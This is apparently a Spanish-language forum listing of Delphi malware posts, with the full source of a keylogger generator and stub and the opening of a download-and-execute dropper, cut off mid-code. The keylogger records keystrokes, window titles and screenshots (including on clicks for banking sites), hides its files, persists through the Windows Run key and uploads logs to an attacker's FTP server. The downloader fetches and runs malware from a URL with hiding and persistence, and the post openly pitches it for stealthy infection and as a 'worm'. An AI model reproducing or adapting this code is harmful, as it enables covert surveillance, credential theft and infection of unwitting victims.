121
Programación / Programación General / [Delphi] DH Botnet 0.8
en: 13 Junio 2014, 22:14 pm
Version final de esta botnet con las siguientes opciones :
Ejecucion de comandos Listar procesos activos Matar procesos Listar archivos de un directorio Borrar un archivo o directorio cualquiera Leer archivos Abrir y cerrar lectora Ocultar y mostrar programas del escritorio Ocultar y mostrar Taskbar Abrir Word y hacer que escriba solo (una idea muy grosa xDD) Hacer que el teclado escriba solo Volver loco al mouse haciendo que se mueva por la pantalla Unas imagenes :
Un video con un ejemplo de uso :
VIDEO Si lo quieren bajar lo pueden hacer de
aca .
122
Programación / Programación General / [Delphi] DH KeyCagator 1.0
en: 5 Junio 2014, 18:17 pm
Version final de este keylogger con las siguientes opciones :
Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas Captura el nombre de la ventana actual Captura la pantalla Logs ordenados en un archivo HTML Se puede elegir el directorio en el que se guardan los Logs Se envia los logs por FTP Se oculta los rastros Se carga cada vez que inicia Windows Se puede usar shift+F9 para cargar los logs en la maquina infectada Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger Una imagen :
Un video con un ejemplo de uso :
VIDEO El codigo :
El Generador :
// DH KeyCagator 1.0
// (C) Doddy Hackman 2014
// Keylogger Generator
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to Chokstyle
unit dhkey;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , Vcl. ComCtrls , Vcl. Imaging . jpeg ,
Vcl. ExtCtrls , Vcl. StdCtrls , Vcl. Imaging . pngimage , IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
IdFTP, ShellApi, MadRes;
type
TForm1 = class ( TForm)
Image1: TImage;
StatusBar1: TStatusBar;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
ComboBox1: TComboBox;
Edit2: TEdit;
GroupBox3: TGroupBox;
TabSheet2: TTabSheet;
Edit1: TEdit;
GroupBox4: TGroupBox;
CheckBox1: TCheckBox;
Edit3: TEdit;
Label1: TLabel;
TabSheet3: TTabSheet;
GroupBox5: TGroupBox;
GroupBox6: TGroupBox;
CheckBox2: TCheckBox;
Edit4: TEdit;
Label2: TLabel;
GroupBox7: TGroupBox;
Label3: TLabel;
Edit5: TEdit;
Label4: TLabel;
Edit7: TEdit;
Label5: TLabel;
Edit8: TEdit;
Label6: TLabel;
Edit6: TEdit;
TabSheet4: TTabSheet;
GroupBox8: TGroupBox;
GroupBox9: TGroupBox;
Label7: TLabel;
Edit9: TEdit;
Label8: TLabel;
Edit11: TEdit;
Label9: TLabel;
Edit12: TEdit;
Label10: TLabel;
Edit10: TEdit;
GroupBox10: TGroupBox;
Button1: TButton;
GroupBox12: TGroupBox;
Button2: TButton;
CheckBox3: TCheckBox;
IdFTP1: TIdFTP;
TabSheet6: TTabSheet;
GroupBox11: TGroupBox;
Image2: TImage;
Memo1: TMemo;
OpenDialog1: TOpenDialog;
procedure Button1Click( Sender: TObject ) ;
procedure FormCreate( Sender: TObject ) ;
procedure Button2Click( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
//
procedure TForm1. Button1Click ( Sender: TObject ) ;
var
i: integer ;
dir: string ;
busqueda: TSearchRec;
begin
IdFTP1. Host : = Edit9. Text ;
IdFTP1. Username : = Edit11. Text ;
IdFTP1. Password : = Edit12. Text ;
dir : = ExtractFilePath ( ParamStr ( 0 ) ) + 'read_ftp\' ;
try
begin
FindFirst ( dir + '\*.*' , faAnyFile + faReadOnly, busqueda) ;
DeleteFile ( dir + '\' + busqueda. Name ) ;
while FindNext ( busqueda) = 0 do
begin
DeleteFile ( dir + '\' + busqueda. Name ) ;
end ;
FindClose ( busqueda) ;
rmdir ( dir) ;
end ;
except
//
end ;
if not ( DirectoryExists ( dir) ) then
begin
CreateDir ( dir) ;
end ;
ChDir ( dir) ;
try
begin
IdFTP1. Connect ;
IdFTP1. ChangeDir ( Edit10. Text ) ;
IdFTP1. List ( '*.*' , True ) ;
for i : = 0 to IdFTP1. DirectoryListing . Count - 1 do
begin
IdFTP1. Get ( IdFTP1. DirectoryListing . Items [ i] . FileName ,
IdFTP1. DirectoryListing . Items [ i] . FileName , False , False ) ;
end ;
ShellExecute( 0 , nil , PChar ( dir + 'logs.html' ) , nil , nil , SW_SHOWNORMAL) ;
IdFTP1. Disconnect ;
IdFTP1. Free ;
end ;
except
//
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
var
lineafinal: string ;
savein_especial: string ;
savein: string ;
foldername: string ;
bankop: string ;
capture_op: string ;
capture_seconds: integer ;
ftp_op: string ;
ftp_seconds: integer ;
ftp_host_txt: string ;
ftp_user_txt: string ;
ftp_pass_txt: string ;
ftp_path_txt: string ;
aca: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
stubgenerado: string ;
op: string ;
change: DWORD ;
valor: string ;
begin
if ( RadioButton1. Checked = True ) then
begin
savein_especial : = '0' ;
if ( ComboBox1. Items [ ComboBox1. ItemIndex ] = '' ) then
begin
savein : = 'USERPROFILE' ;
end
else
begin
savein : = ComboBox1. Items [ ComboBox1. ItemIndex ] ;
end ;
end ;
if ( RadioButton2. Checked = True ) then
begin
savein_especial : = '1' ;
savein : = Edit2. Text ;
end ;
foldername : = Edit1. Text ;
if ( CheckBox1. Checked = True ) then
begin
capture_op : = '1' ;
end
else
begin
capture_op : = '0' ;
end ;
capture_seconds : = StrToInt ( Edit3. Text ) * 1000 ;
if ( CheckBox2. Checked = True ) then
begin
ftp_op : = '1' ;
end
else
begin
ftp_op : = '0' ;
end ;
if ( CheckBox3. Checked = True ) then
begin
bankop : = '1' ;
end
else
begin
bankop : = '0' ;
end ;
ftp_seconds : = StrToInt ( Edit4. Text ) * 1000 ;
ftp_host_txt : = Edit5. Text ;
ftp_user_txt : = Edit7. Text ;
ftp_pass_txt : = Edit8. Text ;
ftp_path_txt : = Edit6. Text ;
lineafinal : = '[63686175]' + dhencode( '[opsave]' + savein_especial +
'[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername +
'[folder]' + '[capture_op]' + capture_op + '[capture_op]' +
'[capture_seconds]' + IntToStr ( capture_seconds) + '[capture_seconds]' +
'[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
'[ftp_seconds]' + IntToStr ( ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' +
ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' +
'[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt +
'[ftp_path]' , 'encode' ) + '[63686175]' ;
aca : = INVALID_HANDLE_VALUE;
nose : = 0 ;
stubgenerado : = 'keycagator_ready.exe' ;
DeleteFile ( stubgenerado) ;
CopyFile( PChar ( ExtractFilePath ( Application. ExeName ) + '/' +
'Data/keycagator.exe' ) , PChar ( ExtractFilePath ( Application. ExeName ) + '/' +
stubgenerado) , True ) ;
StrCopy ( code, PChar ( lineafinal) ) ;
aca : = CreateFile( PChar ( 'keycagator_ready.exe' ) , GENERIC_WRITE,
FILE_SHARE_READ, nil , OPEN_EXISTING, 0 , 0 ) ;
if ( aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( aca, 0 , nil , FILE_END) ;
WriteFile( aca, code, 9999 , nose, nil ) ;
CloseHandle( aca) ;
end ;
op : = InputBox( 'Icon Changer' , 'Change Icon ?' , 'Yes' ) ;
if ( op = 'Yes' ) then
begin
OpenDialog1. InitialDir : = GetCurrentDir ;
if OpenDialog1. Execute then
begin
try
begin
valor : = IntToStr ( 128 ) ;
change : = BeginUpdateResourceW
( PWideChar ( wideString ( ExtractFilePath ( Application. ExeName ) + '/' +
stubgenerado) ) , False ) ;
LoadIconGroupResourceW( change, PWideChar ( wideString ( valor) ) , 0 ,
PWideChar ( wideString ( OpenDialog1. FileName ) ) ) ;
EndUpdateResourceW( change, False ) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Done ' ;
StatusBar1. Update ;
end ;
except
begin
StatusBar1. Panels [ 0 ] . Text : = '[-] Error' ;
StatusBar1. Update ;
end ;
end ;
end
else
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Done ' ;
StatusBar1. Update ;
end ;
end
else
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Done ' ;
StatusBar1. Update ;
end ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
OpenDialog1. InitialDir : = GetCurrentDir ;
OpenDialog1. Filter : = 'ICO|*.ico|' ;
end ;
end .
// The End ?
El stub.
// DH KeyCagator 1.0
// (C) Doddy Hackman 2014
program keycagator;
// {$APPTYPE CONSOLE}
uses
SysUtils, Windows, WinInet, ShellApi, Vcl. Graphics , Vcl. Imaging . jpeg ;
var
nombrereal: string ;
rutareal: string ;
yalisto: string ;
registro: HKEY;
dir: string ;
time : integer ;
dir_hide: string ;
time_screen: integer ;
time_ftp: integer ;
ftp_host: Pchar ;
ftp_user: Pchar ;
ftp_password: Pchar ;
ftp_dir: Pchar ;
carpeta: string ;
directorio: string ;
bankop: string ;
dir_normal: string ;
dir_especial: string ;
ftp_online: string ;
screen_online: string ;
activado: string ;
ob: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
todo: string ;
// Functions
function regex( text: String ; deaca: String ; hastaaca: String ) : String ;
begin
Delete ( text, 1 , AnsiPos ( deaca, text) + Length ( deaca) - 1 ) ;
SetLength ( text, AnsiPos ( hastaaca, text) - 1 ) ;
Result : = text;
end ;
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
procedure savefile( filename, texto: string ) ;
var
ar: TextFile ;
begin
try
begin
AssignFile ( ar, filename) ;
FileMode : = fmOpenWrite;
if FileExists ( filename) then
Append ( ar)
else
Rewrite ( ar) ;
Write ( ar, texto) ;
CloseFile ( ar) ;
end ;
except
//
end ;
end ;
procedure upload_ftpfile( host, username, password, filetoupload,
conestenombre: Pchar ) ;
// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal
var
controluno: HINTERNET;
controldos: HINTERNET;
begin
try
begin
controluno : = InternetOpen( 0 , INTERNET_OPEN_TYPE_PRECONFIG, 0 , 0 , 0 ) ;
controldos : = InternetConnect( controluno, host, INTERNET_DEFAULT_FTP_PORT,
username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0 ) ;
ftpPutFile( controldos, filetoupload, conestenombre,
FTP_TRANSFER_TYPE_BINARY, 0 ) ;
InternetCloseHandle( controldos) ;
InternetCloseHandle( controluno) ;
end
except
//
end ;
end ;
procedure capturar_pantalla( nombre: string ) ;
// Function capturar() based in :
// http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
// http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
// http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
// Thanks to Zarko Gajic , Luthfi and Ken White
var
aca: HDC;
tan : TRect;
posnow: TPoint;
imagen1: TBitmap;
imagen2: TJpegImage;
curnow: THandle ;
begin
aca : = GetWindowDC( GetDesktopWindow) ;
imagen1 : = TBitmap. Create ;
GetWindowRect( GetDesktopWindow, tan ) ;
imagen1. Width : = tan . Right - tan . Left ;
imagen1. Height : = tan . Bottom - tan . Top ;
BitBlt( imagen1. Canvas . Handle , 0 , 0 , imagen1. Width , imagen1. Height , aca, 0 ,
0 , SRCCOPY) ;
GetCursorPos( posnow) ;
curnow : = GetCursor;
DrawIconEx( imagen1. Canvas . Handle , posnow. X , posnow. Y , curnow, 32 , 32 , 0 , 0 ,
DI_NORMAL) ;
imagen2 : = TJpegImage. Create ;
imagen2. Assign ( imagen1) ;
imagen2. CompressionQuality : = 60 ;
imagen2. SaveToFile ( nombre) ;
imagen1. Free ;
imagen2. Free ;
end ;
//
procedure capturar_teclas;
var
I: integer ;
Result: Longint ;
mayus: integer ;
shift: integer ;
banknow: string ;
const
n_numeros_izquierda: array [ 1 .. 10 ] of string = ( '48' , '49' , '50' , '51' ,
'52' , '53' , '54' , '55' , '56' , '57' ) ;
const
t_numeros_izquierda: array [ 1 .. 10 ] of string = ( '0' , '1' , '2' , '3' , '4' ,
'5' , '6' , '7' , '8' , '9' ) ;
const
n_numeros_derecha: array [ 1 .. 10 ] of string = ( '96' , '97' , '98' , '99' , '100' ,
'101' , '102' , '103' , '104' , '105' ) ;
const
t_numeros_derecha: array [ 1 .. 10 ] of string = ( '0' , '1' , '2' , '3' , '4' , '5' ,
'6' , '7' , '8' , '9' ) ;
const
n_shift: array [ 1 .. 22 ] of string = ( '48' , '49' , '50' , '51' , '52' , '53' ,
'54' , '55' , '56' , '57' , '187' , '188' , '189' , '190' , '191' , '192' , '193' ,
'291' , '220' , '221' , '222' , '226' ) ;
const
t_shift: array [ 1 .. 22 ] of string = ( ')' , '!' , '@' , '#' , '\$' , '%' , '¨' , '&' ,
'*' , '(' , '+' , '<' , '_' , '>' , ':' , '\' , ' ? ' , ' / \ ' , '}' , '{' , '^' , '|' ) ;
const
n_raros: array [ 1 .. 17 ] of string = ( '1' , '8' , '13' , '32' , '46' , '187' ,
'188' , '189' , '190' , '191' , '192' , '193' , '219' , '220' , '221' ,
'222' , '226' ) ;
const
t_raros: array [ 1 .. 17 ] of string = ( '[mouse click]' , '[backspace]' ,
'<br>[enter]<br>' , '[space]' , '[suprimir]' , '=' , ',' , '-' , '.' , ';' , '\' ,
' / ' , ' \ \ \ ' , ']' , '[' , '~' , '\/' ) ;
begin
while ( 1 = 1 ) do
begin
Sleep ( time ) ; // Time
try
begin
// Others
for I : = Low ( n_raros) to High ( n_raros) do
begin
Result : = GetAsyncKeyState( StrToInt ( n_raros[ I] ) ) ;
If Result = - 32767 then
begin
savefile( 'logs.html' , t_raros[ I] ) ;
if ( bankop = '1' ) then
begin
if ( t_raros[ I] = '[mouse click]' ) then
begin
banknow : = IntToStr ( Random ( 10000 ) ) + '.jpg' ;
capturar_pantalla( banknow) ;
SetFileAttributes( Pchar ( dir + '/' + banknow) ,
FILE_ATTRIBUTE_HIDDEN) ;
savefile( 'logs.html' , '<br><br><center><img src=' + banknow +
'></center><br><br>' ) ;
end ;
end ;
end ;
end ;
// SHIFT
if ( GetAsyncKeyState( VK_SHIFT) <> 0 ) then
begin
for I : = Low ( n_shift) to High ( n_shift) do
begin
Result : = GetAsyncKeyState( StrToInt ( n_shift[ I] ) ) ;
If Result = - 32767 then
begin
savefile( 'logs.html' , t_shift[ I] ) ;
end ;
end ;
for I : = 65 to 90 do
begin
Result : = GetAsyncKeyState( I) ;
If Result = - 32767 then
Begin
savefile( 'logs.html' , Chr ( I + 0 ) ) ;
End ;
end ;
end ;
// Numbers
for I : = Low ( n_numeros_derecha) to High ( n_numeros_derecha) do
begin
Result : = GetAsyncKeyState( StrToInt ( n_numeros_derecha[ I] ) ) ;
If Result = - 32767 then
begin
savefile( 'logs.html' , t_numeros_derecha[ I] ) ;
end ;
end ;
for I : = Low ( n_numeros_izquierda) to High ( n_numeros_izquierda) do
begin
Result : = GetAsyncKeyState( StrToInt ( n_numeros_izquierda[ I] ) ) ;
If Result = - 32767 then
begin
savefile( 'logs.html' , t_numeros_izquierda[ I] ) ;
end ;
end ;
// MAYUS
if ( GetKeyState( 20 ) = 0 ) then
begin
mayus : = 32 ;
end
else
begin
mayus : = 0 ;
end ;
for I : = 65 to 90 do
begin
Result : = GetAsyncKeyState( I) ;
If Result = - 32767 then
Begin
savefile( 'logs.html' , Chr ( I + mayus) ) ;
End ;
end ;
end ;
except
//
end ;
end ;
end ;
procedure capturar_ventanas;
var
ventana1: array [ 0 .. 255 ] of Char ;
nombre1: string ;
Nombre2: string ; //
begin
while ( 1 = 1 ) do
begin
try
begin
Sleep ( time ) ; // Time
GetWindowText( GetForegroundWindow, ventana1, sizeOf ( ventana1) ) ;
nombre1 : = ventana1;
if not ( nombre1 = Nombre2) then
begin
Nombre2 : = nombre1;
savefile( 'logs.html' , '<hr style=color:#00FF00><h2><center>' + Nombre2
+ '</h2></center><br>' ) ;
end ;
end ;
except
//
end ;
end ;
end ;
procedure capturar_pantallas;
var
generado: string ;
begin
while ( 1 = 1 ) do
begin
Sleep ( time_screen) ;
generado : = IntToStr ( Random ( 10000 ) ) + '.jpg' ;
try
begin
capturar_pantalla( generado) ;
end ;
except
//
end ;
SetFileAttributes( Pchar ( dir + '/' + generado) , FILE_ATTRIBUTE_HIDDEN) ;
savefile( 'logs.html' , '<br><br><center><img src=' + generado +
'></center><br><br>' ) ;
end ;
end ;
procedure subirftp;
var
busqueda: TSearchRec;
begin
while ( 1 = 1 ) do
begin
try
begin
Sleep ( time_ftp) ;
upload_ftpfile( ftp_host, ftp_user, ftp_password,
Pchar ( dir + 'logs.html' ) , Pchar ( ftp_dir + 'logs.html' ) ) ;
FindFirst ( dir + '*.jpg' , faAnyFile, busqueda) ;
upload_ftpfile( ftp_host, ftp_user, ftp_password,
Pchar ( dir + busqueda. Name ) , Pchar ( ftp_dir + busqueda. Name ) ) ;
while FindNext ( busqueda) = 0 do
begin
upload_ftpfile( ftp_host, ftp_user, ftp_password,
Pchar ( dir + '/' + busqueda. Name ) , Pchar ( ftp_dir + busqueda. Name ) ) ;
end ;
end ;
except
//
end ;
end ;
end ;
procedure control;
var
I: integer ;
re: Longint ;
begin
while ( 1 = 1 ) do
begin
try
begin
Sleep ( time ) ;
if ( GetAsyncKeyState( VK_SHIFT) <> 0 ) then
begin
re : = GetAsyncKeyState( 120 ) ;
If re = - 32767 then
Begin
ShellExecute( 0 , nil , Pchar ( dir + 'logs.html' ) , nil , nil ,
SW_SHOWNORMAL) ;
End ;
end ;
end ;
except
//
end ;
End ;
end ;
//
begin
try
// Config
try
begin
// Edit
ob : = INVALID_HANDLE_VALUE;
code : = '' ;
ob : = CreateFile( Pchar ( paramstr ( 0 ) ) , GENERIC_READ, FILE_SHARE_READ, nil ,
OPEN_EXISTING, 0 , 0 ) ;
if ( ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( ob, - 9999 , nil , FILE_END) ;
ReadFile( ob, code, 9999 , nose, nil ) ;
CloseHandle( ob) ;
end ;
todo : = regex( code, '[63686175]' , '[63686175]' ) ;
todo : = dhencode( todo, 'decode' ) ;
dir_especial : = Pchar ( regex( todo, '[opsave]' , '[opsave]' ) ) ;
directorio : = regex( todo, '[save]' , '[save]' ) ;
carpeta : = regex( todo, '[folder]' , '[folder]' ) ;
bankop : = regex( todo, '[bank]' , '[bank]' ) ;
screen_online : = regex( todo, '[capture_op]' , '[capture_op]' ) ;
time_screen : = StrToInt ( regex( todo, '[capture_seconds]' ,
'[capture_seconds]' ) ) ;
ftp_online : = Pchar ( regex( todo, '[ftp_op]' , '[ftp_op]' ) ) ;
time_ftp : = StrToInt ( regex( todo, '[ftp_seconds]' , '[ftp_seconds]' ) ) ;
ftp_host : = Pchar ( regex( todo, '[ftp_host]' , '[ftp_host]' ) ) ;
ftp_user : = Pchar ( regex( todo, '[ftp_user]' , '[ftp_user]' ) ) ;
ftp_password : = Pchar ( regex( todo, '[ftp_pass]' , '[ftp_pass]' ) ) ;
ftp_dir : = Pchar ( regex( todo, '[ftp_path]' , '[ftp_path]' ) ) ;
dir_normal : = dir_especial;
time : = 100 ; // Not Edit
if ( dir_normal = '1' ) then
begin
dir_hide : = directorio;
end
else
begin
dir_hide : = GetEnvironmentVariable ( directorio) + '/' ;
end ;
dir : = dir_hide + carpeta + '/' ;
if not ( DirectoryExists ( dir) ) then
begin
CreateDir ( dir) ;
end ;
ChDir ( dir) ;
nombrereal : = ExtractFileName ( paramstr ( 0 ) ) ;
rutareal : = dir;
yalisto : = dir + nombrereal;
MoveFile( Pchar ( paramstr ( 0 ) ) , Pchar ( yalisto) ) ;
SetFileAttributes( Pchar ( dir) , FILE_ATTRIBUTE_HIDDEN) ;
SetFileAttributes( Pchar ( yalisto) , FILE_ATTRIBUTE_HIDDEN) ;
savefile( dir + '/logs.html' , '' ) ;
SetFileAttributes( Pchar ( dir + '/logs.html' ) , FILE_ATTRIBUTE_HIDDEN) ;
savefile( 'logs.html' ,
'<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>' ) ;
RegCreateKeyEx( HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\Run\' , 0 , nil ,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nil , registro, nil ) ;
RegSetValueEx( registro, 'uberk' , 0 , REG_SZ, Pchar ( yalisto) , 666 ) ;
RegCloseKey( registro) ;
end ;
except
//
end ;
// End
// Start the party
BeginThread ( nil , 0 , @ capturar_teclas, nil , 0 , PDWORD ( 0 ) ^ ) ;
BeginThread ( nil , 0 , @ capturar_ventanas, nil , 0 , PDWORD ( 0 ) ^ ) ;
if ( screen_online = '1' ) then
begin
BeginThread ( nil , 0 , @ capturar_pantallas, nil , 0 , PDWORD ( 0 ) ^ ) ;
end ;
if ( ftp_online = '1' ) then
begin
BeginThread ( nil , 0 , @ subirftp, nil , 0 , PDWORD ( 0 ) ^ ) ;
end ;
BeginThread ( nil , 0 , @ control, nil , 0 , PDWORD ( 0 ) ^ ) ;
// Readln;
while ( 1 = 1 ) do
Sleep ( time ) ;
except
//
end ;
end .
// The End ?
Si lo quieren bajar lo pueden hacer de
aca .
123
Programación / Programación General / [Delphi] DH Downloader 0.8
en: 29 Mayo 2014, 22:53 pm
Version final de este programa para bajar y ejecutar malware , tiene dos formas de usarse la primera es teniendo el programa en un USB y bajar discretamente malware desde una url para despues ocultarle u otras cosas , la otra forma de usarla es generando una especie de "worm" que va a bajar el malware desde una url especifica , este "worm" puede ser usado tranquilamente en un binder o por separado para usarlo sin ningun problema.
Una imagen :
Un video con un ejemplo de uso :
VIDEO Los codigos :
El USB Mode :
// DH Downloader 0.8
// (C) Doddy Hackman 2014
unit dh;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , Vcl. ComCtrls , Vcl. StdCtrls ,
Vcl. ExtCtrls ,
Vcl. Imaging . pngimage , IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, Registry, ShellApi, MadRes;
type
TForm1 = class ( TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
GroupBox1: TGroupBox;
PageControl2: TPageControl;
TabSheet4: TTabSheet;
TabSheet5: TTabSheet;
GroupBox2: TGroupBox;
Button1: TButton;
StatusBar1: TStatusBar;
GroupBox3: TGroupBox;
Edit1: TEdit;
GroupBox4: TGroupBox;
CheckBox1: TCheckBox;
Edit2: TEdit;
CheckBox2: TCheckBox;
Edit3: TEdit;
TabSheet6: TTabSheet;
GroupBox5: TGroupBox;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
CheckBox3: TCheckBox;
CheckBox4: TCheckBox;
CheckBox5: TCheckBox;
GroupBox6: TGroupBox;
PageControl3: TPageControl;
TabSheet7: TTabSheet;
TabSheet8: TTabSheet;
TabSheet9: TTabSheet;
GroupBox7: TGroupBox;
Edit4: TEdit;
GroupBox8: TGroupBox;
Edit5: TEdit;
GroupBox9: TGroupBox;
RadioButton3: TRadioButton;
RadioButton4: TRadioButton;
TabSheet10: TTabSheet;
GroupBox10: TGroupBox;
GroupBox11: TGroupBox;
Button2: TButton;
Edit6: TEdit;
GroupBox12: TGroupBox;
GroupBox13: TGroupBox;
ComboBox1: TComboBox;
GroupBox14: TGroupBox;
CheckBox6: TCheckBox;
GroupBox15: TGroupBox;
Image2: TImage;
Memo1: TMemo;
Image3: TImage;
GroupBox16: TGroupBox;
Button3: TButton;
ProgressBar1: TProgressBar;
IdHTTP1: TIdHTTP;
OpenDialog1: TOpenDialog;
GroupBox17: TGroupBox;
Image1: TImage;
procedure FormCreate( Sender: TObject ) ;
procedure Button1Click( Sender: TObject ) ;
procedure Button2Click( Sender: TObject ) ;
procedure Button3Click( Sender: TObject ) ;
procedure Edit5DblClick( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
function getfilename( archivo: string ) : string ;
var
test: TStrings;
begin
test : = TStringList. Create ;
test. Delimiter : = '/' ;
test. DelimitedText : = archivo;
Result : = test[ test. Count - 1 ] ;
test. Free ;
end ;
//
procedure TForm1. Button1Click ( Sender: TObject ) ;
var
filename: string ;
nombrefinal: string ;
addnow: TRegistry;
archivobajado: TFileStream;
begin
if not CheckBox1. Checked then
begin
filename : = Edit1. Text ;
nombrefinal : = getfilename( filename) ;
end
else
begin
nombrefinal : = Edit2. Text ;
end ;
archivobajado : = TFileStream. Create ( nombrefinal, fmCreate) ;
try
begin
DeleteFile ( nombrefinal) ;
IdHTTP1. Get ( Edit1. Text , archivobajado) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] File Dowloaded' ;
StatusBar1. Update ;
archivobajado. Free ;
end ;
except
StatusBar1. Panels [ 0 ] . Text : = '[-] Failed download' ;
StatusBar1. Update ;
archivobajado. Free ;
Abort ;
end ;
if FileExists ( nombrefinal) then
begin
if CheckBox2. Checked then
begin
if not DirectoryExists ( Edit3. Text ) then
begin
CreateDir ( Edit3. Text ) ;
end ;
MoveFile( Pchar ( nombrefinal) , Pchar ( Edit3. Text + '/' + nombrefinal) ) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] File Moved' ;
StatusBar1. Update ;
end ;
if CheckBox3. Checked then
begin
SetFileAttributes( Pchar ( Edit3. Text ) , FILE_ATTRIBUTE_HIDDEN) ;
if CheckBox2. Checked then
begin
SetFileAttributes( Pchar ( Edit3. Text + '/' + nombrefinal) ,
FILE_ATTRIBUTE_HIDDEN) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] File Hidden' ;
StatusBar1. Update ;
end
else
begin
SetFileAttributes( Pchar ( nombrefinal) , FILE_ATTRIBUTE_HIDDEN) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] File Hidden' ;
StatusBar1. Update ;
end ;
end ;
if CheckBox4. Checked then
begin
addnow : = TRegistry. Create ;
addnow. RootKey : = HKEY_LOCAL_MACHINE;
addnow. OpenKey ( 'Software\Microsoft\Windows\CurrentVersion\Run' , FALSE ) ;
if CheckBox2. Checked then
begin
addnow. WriteString ( 'uber' , Edit3. Text + '/' + nombrefinal) ;
end
else
begin
addnow. WriteString ( 'uber' , ExtractFilePath ( Application. ExeName ) + '/' +
nombrefinal) ;
end ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Registry Updated' ;
StatusBar1. Update ;
addnow. Free ;
end ;
if CheckBox5. Checked then
begin
if RadioButton1. Checked then
begin
if CheckBox2. Checked then
begin
ShellExecute( Handle, 'open' , Pchar ( Edit3. Text + '/' + nombrefinal) ,
nil , nil , SW_SHOWNORMAL) ;
end
else
begin
ShellExecute( Handle, 'open' , Pchar ( nombrefinal) , nil , nil ,
SW_SHOWNORMAL) ;
end ;
end
else
begin
if CheckBox2. Checked then
begin
